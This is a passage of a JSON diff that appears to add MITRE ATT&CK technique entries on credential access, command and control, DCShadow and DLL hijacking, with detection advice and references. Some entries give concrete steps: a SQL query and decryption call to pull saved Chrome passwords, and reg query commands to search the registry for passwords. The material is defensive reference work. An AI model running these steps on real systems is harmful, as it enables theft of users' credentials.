creddump7. Retrieved April 11, 2018.", + "url": "https://github.com/Neohapsis/creddump7" + }, + { + "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.", + "source_name": "Wikipedia Active Directory", + "url": "https://en.wikipedia.org/wiki/Active_Directory" + }, + { + "source_name": "Microsoft GPP Key", + "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.", + "url": "https://msdn.microsoft.com/library/cc422924.aspx" + }, + { + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + }, + { + "source_name": "Obscuresecurity Get-GPPPassword", + "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.", + "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html" + }, + { + "source_name": "TechNet Blogs Credential Protection", + "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.", + "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/" + }, + { + "description": "Microsoft. (2008, July 25). Credential Security Service Provider and SSO for Terminal Services Logon. Retrieved April 11, 2018.", + "source_name": "Microsoft CredSSP", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)" + }, + { + "source_name": "Microsoft DRSR Dec 2017", + "description": "Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc228086.aspx" + }, + { + "description": "Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.", + "source_name": "Microsoft GetNCCChanges", + "url": "https://msdn.microsoft.com/library/dd207691.aspx" + }, + { + "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.", + "source_name": "Samba DRSUAPI", + "url": "https://wiki.samba.org/index.php/DRSUAPI" + }, + { + "description": "Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017.", + "source_name": "Wine API samlib.dll", + "url": "https://source.winehq.org/WineAPI/samlib.html" + }, + { + "source_name": "ADSecurity Mimikatz DCSync", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved August 7, 2017.", + "url": "https://adsecurity.org/?p=1729" + }, + { + "source_name": "Harmj0y Mimikatz and DCSync", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "InsiderThreat ChangeNTLM July 2017", + "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.", + "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM" + }, + { + "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", + "source_name": "GitHub Mimikatz lsadump Module", + "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump" + }, + { + "source_name": "Microsoft NRPC Dec 2017", + "description": "Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. Retrieved December 6, 2017.", + "url": "https://msdn.microsoft.com/library/cc237008.aspx" + }, + { + "description": "Frecn, D.. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "source_name": "Harmj0y DCSync Sept 2015", + "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.", + "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/" + }, + { + "source_name": "Microsoft SAMR", + "description": "Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017.", + "url": "https://msdn.microsoft.com/library/cc245496.aspx" + }, + { + "source_name": "AdSecurity DCSync Sept 2015", + "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.", + "url": "https://adsecurity.org/?p=1729" + } + ], + "modified": "2019-10-11T12:49:33.530Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "PowerShell logs", + "File monitoring", + "API monitoring" + ], + "name": "Credentials from Web Browsers", + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData \u200eApril 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "id": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Ryan Benson, Exabeam", + "Barry Shteiman, Exabeam", + "Sylvain Gil, Exabeam", + "RedHuntLabs, @redhuntlabs" + ], + "created": "2019-06-17T19:34:51.855Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1503", + "url": "https://attack.mitre.org/techniques/T1503" + }, + { + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "source_name": "Talos Olympic Destroyer 2018", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.", + "source_name": "Microsoft CryptUnprotectData \u200eApril 2018", + "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata" + }, + { + "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.", + "source_name": "Proofpoint Vega Credential Stealer May 2018", + "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign" + }, + { + "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.", + "source_name": "FireEye HawkEye Malware July 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html" + }, + { + "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.", + "source_name": "GitHub Mimikittenz July 2016", + "url": "https://github.com/putterpanda/mimikittenz" + } + ], + "modified": "2019-07-10T20:57:36.851Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "name": "Credentials in Files", + "description": "Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)\n\n", + "id": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "x_mitre_system_requirements": [ + "Access to files" + ], + "type": "attack-pattern", + "x_mitre_detection": "While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "created": "2017-05-31T21:31:02.188Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1081", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1081" + }, + { + "source_name": "capec", + "external_id": "CAPEC-639", + "url": "https://capec.mitre.org/data/definitions/639.html" + }, + { + "source_name": "CG 2014", + "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", + "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html" + }, + { + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + }, + { + "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.", + "source_name": "Specter Ops - Cloud Credential Storage", + "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48" + } + ], + "modified": "2019-10-08T19:24:28.773Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "name": "Credentials in Registry", + "description": "The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "id": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys." + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1214", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1214" + }, + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "modified": "2019-07-17T16:02:42.791Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring", + "Host network interface", + "Network intrusion detection system", + "Network protocol analysis" + ], + "name": "Custom Command and Control Protocol", + "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Standard Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", + "id": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "x_mitre_contributors": [ + "Ryan Becwar" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:31:10.314Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1094", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1094" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-07-17T18:20:50.466Z" + }, + { + "x_mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "name": "Custom Cryptographic Protocol", + "description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)", + "id": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_network_requirements": true, + "created": "2017-05-31T21:30:31.197Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "external_references": [ + { + "external_id": "T1024", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1024" + }, + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + }, + { + "source_name": "Fidelis DarkComet", + "description": "Fidelis Cybersecurity. (2015, August 4). Looking at the Sky for a DarkComet. Retrieved April 5, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "modified": "2019-06-14T17:31:50.564Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Network protocol analysis", + "Packet capture" + ], + "x_mitre_permissions_required": [ + "Administrator" + ], + "name": "DCShadow", + "description": "DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018)", + "id": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) DC replication will naturally take place every 15 minutes but can be triggered by an attacker or by legitimate urgent changes (ex: passwords). (Citation: BlueHat DCShadow Jan 2018) Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: BlueHat DCShadow Jan 2018)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "created": "2018-04-18T17:59:24.739Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1207", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1207" + }, + { + "description": "Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.", + "source_name": "DCShadow Blog", + "url": "https://www.dcshadow.com/" + }, + { + "description": "Delpy, B. & LE TOUX, V. (2018, January 24). Active Directory: What can make your million dollar SIEM go blind?. Retrieved March 20, 2018.", + "source_name": "BlueHat DCShadow Jan 2018" + }, + { + "description": "Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.", + "source_name": "Adsecurity Mimikatz Guide", + "url": "https://adsecurity.org/?page_id=1821" + }, + { + "description": "Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.", + "source_name": "GitHub DCSYNCMonitor", + "url": "https://github.com/shellster/DCSYNCMonitor" + }, + { + "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.", + "source_name": "ADDSecurity DCShadow Feb 2018", + "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html" + }, + { + "description": "Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.", + "source_name": "Microsoft DirSync", + "url": "https://msdn.microsoft.com/en-us/library/ms677626.aspx" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis" + ] + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "File monitoring", + "DLL monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "name": "DLL Search Order Hijacking", + "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "modified": "2019-07-24T15:07:22.266Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_system_requirements": [ + "Ability to add a DLL, manifest file, or .local file, directory, or junction." + ], + "type": "attack-pattern", + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Stefan Kanthak", + "Travis Smith, Tripwire" + ], + "created": "2017-05-31T21:30:40.604Z", + "x_mitre_effective_permissions": [ + "User", + "Administrator", + "SYSTEM" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1038", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1038" + }, + { + "source_name": "capec", + "external_id": "CAPEC-471", + "url": "https://capec.mitre.org/data/definitions/471.html" + }, + { + "source_name": "Microsoft DLL Search", + "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682586" + }, + { + "source_name": "OWASP Binary Planting", + "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", + "url": "https://www.owasp.org/index.php/Binary_planting" + }, + { + "source_name": "Microsoft 2269637", + "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.", + "url": "http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx" + }, + { + "source_name": "Microsoft DLL Redirection", + "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.", + "url": "http://msdn.microsoft.com/en-US/library/ms682600" + }, + { + "source_name": "Microsoft Manifests", + "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", + "url": "https://msdn.microsoft.com/en-US/library/aa375365" + }, + { + "source_name": "Mandiant Search Order", + "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.", + "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting" + ] + }, + { + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Loaded DLLs" + ], + "name": "DLL Side-Loading", + "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.", + "id": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T19:22:37.443Z", + "created": "2017-05-31T21:30:58.007Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1073", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1073" + }, + { + "source_name": "capec", + "external_id": "CAPEC-641", + "url": "https://capec.mitre.org/data/definitions/641.html" + }, + { + "source_name": "MSDN Manifests", + "description": "Microsoft. (n.d.). Manifests. Retrieved June 3, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa375365" + }, + { + "source_name": "Stewart 2014", + "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Process command-line parameters", + "Process monitoring" + ], + "name": "Data Compressed", + "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", + "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Compression software and compressed files can be detected in many ways. Common utilities that may be present on the system or brought in by an adversary may be detectable through process monitoring and monitoring for command-line arguments for known compression utilities. This may yield a significant amount of benign events, depending on how systems in the environment are typically used.\n\nIf the communications channel is unencrypted, compressed files can be detected in transit during exfiltration with a network intrusion detection or data loss prevention system analyzing file headers. (Citation: Wikipedia File Header 